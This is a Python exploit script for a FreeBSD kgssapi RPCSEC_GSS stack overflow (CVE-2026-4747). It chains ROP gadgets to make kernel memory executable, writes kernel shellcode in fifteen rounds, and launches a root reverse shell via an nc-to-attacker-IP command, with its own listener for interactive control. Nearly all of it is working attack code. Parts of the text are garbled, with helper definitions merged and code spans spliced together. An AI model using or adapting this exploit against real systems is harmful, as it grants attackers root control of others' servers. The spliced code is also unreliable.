#!/usr/bin/env python3 """ CVE-2026-4747 — FreeBSD kgssapi.ko RPCSEC_GSS Remote Kernel RCE ================================================================ Stack buffer overflow in svc_rpc_gss_validate() → 15-round ROP chain → pmap_change_prot(BSS, RWX) → write shellcode → kproc_create → kern_execve("/bin/sh -c REVSHELL") → uid 0 reverse shell. Targets FreeBSD 14.4-RELEASE amd64 GENERIC (no KASLR). Requires a Kerberos ticket: kinit testuser@TEST.LOCAL Usage: python3 exploit.py -t -p 2049 --ip --port python3 exploit.py -t 127.0.0.1 --ip 10.0.2.2 --port 4444 - LCFR/x 2026 """ import argparse import gssapi import select import socket import struct import sys import time # ─── FreeBSD 14.4-RELEASE GENERIC amd64 constants ────────────────────────── KERNEL_BASE = 0xffffffff80200000 KERNEL_BSS = 0xffffffff8198a000 # .bss section start SHELLCODE_ADDR = KERNEL_BSS + 0x800 # where shellcode is placed STACK_TOP = KERNEL_BSS + 0x1F00 # safe stack for shellcode FAKE_MODULE_BASE = KERNEL_BSS - 0x3c000 # so reference bss_base = KERNEL_BSS # ROP gadgets (found via ROPgadget on /boot/kernel/kernel) POP_RDI = KERNEL_BASE + 0x1adcda POP_RSI = KERNEL_BASE + 0x1cdf98 POP_RDX = KERNEL_BASE + 0x5fa429 POP_RAX = KERNEL_BASE + 0x400cb4 MOV_RDI_RAX_RET = 0xffffffff80e3457c # mov qword [rdi], rax ; ret PMAP_CHANGE_PROT = KERNEL_BASE + 0xe4e2f0 KTHREAD_EXIT = KERNEL_BASE + 0x92c100 KPROC_CREATE = KERNEL_BASE + 0x92b600 # Kernel function offsets (for shellcode) KPROC_CREATE_OFF = 0x92b600 KTHREAD_EXIT_OFF = 0x92c100 EXEC_ALLOC_ARGS_OFF = 0x915500 EXEC_ARGS_ADD_FNAME_OFF = 0x9155f0 EXEC_ARGS_ADD_ARG_OFF = 0x915680 KERN_EXECVE_OFF = 0x913040 TD_PROC_OFF = 0x08 P_VMSPACE_OFF = 0x208 P_FLAG_OFF = 0xb8 HA_HANDLER_OFF = 0x3c2f0 # in fake module layout # RPC / RPCSEC_GSS constants LAST_FRAG = 0x80000000 RPC_VERSION = 2 NFS_PROGRAM = 100003 NFS_V3 = 3 NULLPROC = 0 AUTH_NONE = 0 RPCSEC_GSS = 6 # Overflow geometry (verified via De Bruijn pattern) RIP_OFFSET = 200 # credential body byte that overwrites return address RBX_OFFSET = 152 # saved RBX (preloaded with KPROC_CREATE for final round) # Write primitive budget: each 8-byte write costs 5 qwords (40 bytes) of ROP WRITES_PER_ROUND = 4 # 4 writes × 40B = 160B, plus 24B exit = 184B < 200B budget # ─── Wire format helpers ──────────────────────────────────────────────────── def p64(v): return struct.pack('I', v) def xdr_opaque(data): pad = (4 - len(data) % 4) % 4 return p32(len(data)) + data + b'\x00' * pad # ─── Shellcode builder ───────────────────────────────────────────────────── def build_shellcode(kernel_base, callback_ip, callback_port): """ Build 425-byte x86-64 kernel shellcode for FreeBSD reverse shell. Two functions: entry — runs on the hijacked NFS thread: pivots stack, clears DR7, calls kproc_create(worker), kthread_exit() worker — runs in the new kernel process (via fork_exit callback): exec_alloc_args → exec_args_add_* → kern_execve("/bin/sh -c REVSHELL") clears P_KPROC flag, returns to fork_exit → userret → iretq → userland Uses the same build logic as FBSD-001/exploit.py build_stage2_shellcode(), with two patches: 1. ha_handler cleanup NOP'd (writes to CTL-specific addresses we don't own) 2. DR7 cleared before kproc_create (prevents inherited hardware breakpoints) """ kproc_create = kernel_base + KPROC_CREATE_OFF kthread_exit = kernel_base + KTHREAD_EXIT_OFF exec_alloc_args = kernel_base + EXEC_ALLOC_ARGS_OFF exec_args_add_fname = kernel_base + EXEC_ARGS_ADD_FNAME_OFF exec_args_add_arg = kernel_base + EXEC_ARGS_ADD_ARG_OFF kern_execve = kernel_base + KERN_EXECVE_OFF bss_base = FAKE_MODULE_BASE + 0x3c000 # = KERNEL_BSS stack_top = bss_base + 0x1F00 shellcode_base = bss_base + 0x800 ha_handler = FAKE_MODULE_BASE + HA_HANDLER_OFF revshell_cmd = (f"rm -f /tmp/f;mkfifo /tmp/f;" f"cat /tmp/f|/bin/sh -i 2>&1|nc {callback_ip} {callback_port}>/tmp/f &") code = bytearray() # ── Entry ─────────────────────────────────────────────────────────────── # Stack pivot code += b'\x48\xb8' + struct.pack('IIIII', 1, 1, 0, 1, 0) # ver,INIT,seq=0,svc=none,handle_len=0 body = (rpc_hdr + p32(RPCSEC_GSS) + xdr_opaque(gss_cred) + p32(AUTH_NONE) + p32(0) + xdr_opaque(bytes(token))) pkt = p32(LAST_FRAG | len(body)) + body sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(100) sock.connect((host, port)) sock.sendall(pkt) resp = sock.recv(8192) sock.close() # Parse handle from reply if len(resp) < 32: continue rp = 16 # skip frag(4) + xid(4) + type(4) + reply_stat(4) rp += 4 # verf_flavor vl = struct.unpack('>I', resp[rp:rp+4])[0]; rp += 4 rp += vl + ((4 - vl % 4) % 4) # skip verf body rp += 4 # accept_stat hlen = struct.unpack('>I', resp[rp:rp+4])[0]; rp += 4 if hlen > 0: return resp[rp:rp+hlen] return b'' except Exception: time.sleep(delay) return None # ─── Overflow packet sender ──────────────────────────────────────────────── def send_overflow(host, port, credential_body): """Send an RPCSEC_GSS DATA packet with the given credential body.""" rpc_hdr = (p32(0xdead0001) + p32(0) + p32(RPC_VERSION) + p32(NFS_PROGRAM) + p32(NFS_V3) + p32(NULLPROC)) body = (rpc_hdr + p32(RPCSEC_GSS) + xdr_opaque(credential_body) + p32(RPCSEC_GSS) + xdr_opaque(b'\x00' * 16)) pkt = p32(LAST_FRAG | len(body)) + body sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((host, port)) sock.sendall(pkt) try: sock.recv(4096) except (socket.timeout, ConnectionResetError): pass sock.close() # ─── Credential builder ──────────────────────────────────────────────────── def build_credential(handle, rop_chain, preload_rbx=None): """ Build a 400-byte RPCSEC_GSS credential body that overflows rpchdr[]. Layout: [0..35] GSS header (version=1, proc=DATA, seq=1, svc=integrity, handle) [36..151] Padding (fills rpchdr + local variables) [152..199] Saved registers (rbx, r12-r15, rbp — zeros or preloaded values) [200..399] ROP chain """ cred = bytearray(400) # GSS DATA header struct.pack_into('>IIII', cred, 0, 1, 0, 1, 2) # version, DATA, seq=1, svc=integrity struct.pack_into('>I', cred, 16, len(handle)) cred[20:20+len(handle)] = handle # bytes 36..151 stay zero (padding) # Preload KPROC_CREATE into saved RBX for the final round's shellcode entry if preload_rbx is not None: struct.pack_into(' 200: raise ValueError(f"ROP chain too long: {len(rop_chain)} > 200 bytes") cred[RIP_OFFSET:RIP_OFFSET+len(rop_chain)] = rop_chain return bytes(cred) # ─── ROP chain builders ──────────────────────────────────────────────────── def rop_pmap_and_exit(): """Round 1: make BSS executable, then clean thread exit.""" rop = bytearray() rop += p64(POP_RDI) + p64(KERNEL_BSS) rop += p64(POP_RSI) + p64(0x2000) # 2 pages rop += p64(POP_RDX) + p64(7) # VM_PROT_ALL (RWX) rop += p64(PMAP_CHANGE_PROT) rop += p64(POP_RDI) + p64(0) rop += p64(KTHREAD_EXIT) return bytes(rop) def rop_write_qwords(writes, exit_or_jump): """ Write up to 4 qwords to kernel memory, then either kthread_exit or jump. Each write: pop_rdi(addr) + pop_rax(value) + mov_[rdi]_rax = 40 bytes. Exit: pop_rdi(0) + kthread_exit = 24 bytes. Jump: just the target address = 8 bytes. """ rop = bytearray() for addr, value in writes: rop += p64(POP_RDI) + p64(addr) rop += p64(POP_RAX) + p64(value) rop += p64(MOV_RDI_RAX_RET) if isinstance(exit_or_jump, int): # Jump to shellcode rop += p64(exit_or_jump) else: # Clean thread exit rop += p64(POP_RDI) + p64(0) rop += p64(KTHREAD_EXIT) return bytes(rop) # ─── Main exploit ─────────────────────────────────────────────────────────── def nfs_alive(host, port, timeout=3): try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(timeout) s.connect((host, port)) s.close() return True except Exception: return False def exploit(target, nfs_port, callback_ip, callback_port, spn): """ Full 15-round remote kernel RCE exploit. Round 1: pmap_change_prot(BSS, RWX) + kthread_exit Rounds 2-14: write 4 × 8B of shellcode per round + kthread_exit Round 15: write final qwords + jump to shellcode entry """ print(f"\n Target: {target}:{nfs_port}") print(f" Callback: {callback_ip}:{callback_port}") print(f" SPN: {spn}\n") # ── Build shellcode ───────────────────────────────────────────────── shellcode = build_shellcode(KERNEL_BASE, callback_ip, callback_port) while len(shellcode) % 8: shellcode += b'\x00' # Split into 8-byte writes writes = [] for i in range(0, len(shellcode), 8): qword = struct.unpack(' """) parser.add_argument('-t', '--target', required=True, help='Target IP (NFS server)') parser.add_argument('-p', '--nfs-port', type=int, default=2049, help='Target NFS port (default: 2049)') parser.add_argument('--ip', dest='callback_ip', required=True, help='Attacker IP for reverse shell callback') parser.add_argument('--port', dest='callback_port', type=int, default=4444, help='Attacker port for reverse shell (default: 4444)') parser.add_argument('--spn', default='nfs/freebsd-vuln@TEST.LOCAL', help='Kerberos service principal (default: nfs/freebsd-vuln@TEST.LOCAL)') args = parser.parse_args() print("=" * 62) print(" CVE-2026-4747 — FreeBSD RPCSEC_GSS Remote Kernel RCE") print(" Stack overflow → ROP → shellcode → uid 0 reverse shell") print("=" * 62) # Start listener print(f"\n [*] Starting listener on 0.0.0.0:{args.callback_port}...") listener = socket.socket(socket.AF_INET, socket.SOCK_STREAM) listener.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) try: listener.bind(('0.0.0.0', args.callback_port)) except OSError as e: print(f" [-] Cannot bind port {args.callback_port}: {e}") return listener.listen(1) listener.settimeout(100) # Run exploit ok = exploit(args.target, args.nfs_port, args.callback_ip, args.callback_port, args.spn) if not ok: listener.close() return # Wait for shell print(f"\n [*] Waiting for reverse shell...") try: shell, addr = listener.accept() except socket.timeout: print(" [-] No connection within 60 seconds.") listener.close() return listener.close() print(f" [+] Connection from {addr[0]}:{addr[1]}") print(f" [+] Got shell!\n") # Interactive I/O shell.setblocking(False) try: while True: readable, _, _ = select.select([shell, sys.stdin], [], [], 0.1) for fd in readable: if fd is shell: try: data = shell.recv(4096) except (BlockingIOError, ConnectionResetError): data = b'' if not data: raise SystemExit sys.stdout.write(data.decode('utf-8', errors='replace')) sys.stdout.flush() elif fd is sys.stdin: line = sys.stdin.readline() if not line: raise SystemExit shell.sendall(line.encode()) except (KeyboardInterrupt, SystemExit): print("\n [*] Shell closed.") finally: shell.close() if __name__ == '__main__': main()